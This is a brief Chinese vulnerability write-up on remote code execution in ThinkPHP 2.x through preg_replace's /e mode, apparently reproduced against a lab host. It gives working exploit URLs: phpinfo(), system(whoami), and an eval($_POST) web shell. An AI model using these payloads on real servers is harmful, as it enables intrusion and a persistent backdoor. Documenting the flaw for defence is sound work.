1.漏洞描述
ThinkPHP框架 - 是由上海顶想公司开发维护的MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。 ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
2.漏洞复现
直接访问http://ip:55048/index.php?s=/index/index/name/$%7B@phpinfo()%7D可以执行phpinfo()
:
可以执行任意代码:
/index.php?s=/index/index/xxx/${system(whoami)}
3.一句话上传
http://ip:55048/index.php?s=a/b/c/${@print(eval($_POST[1]))}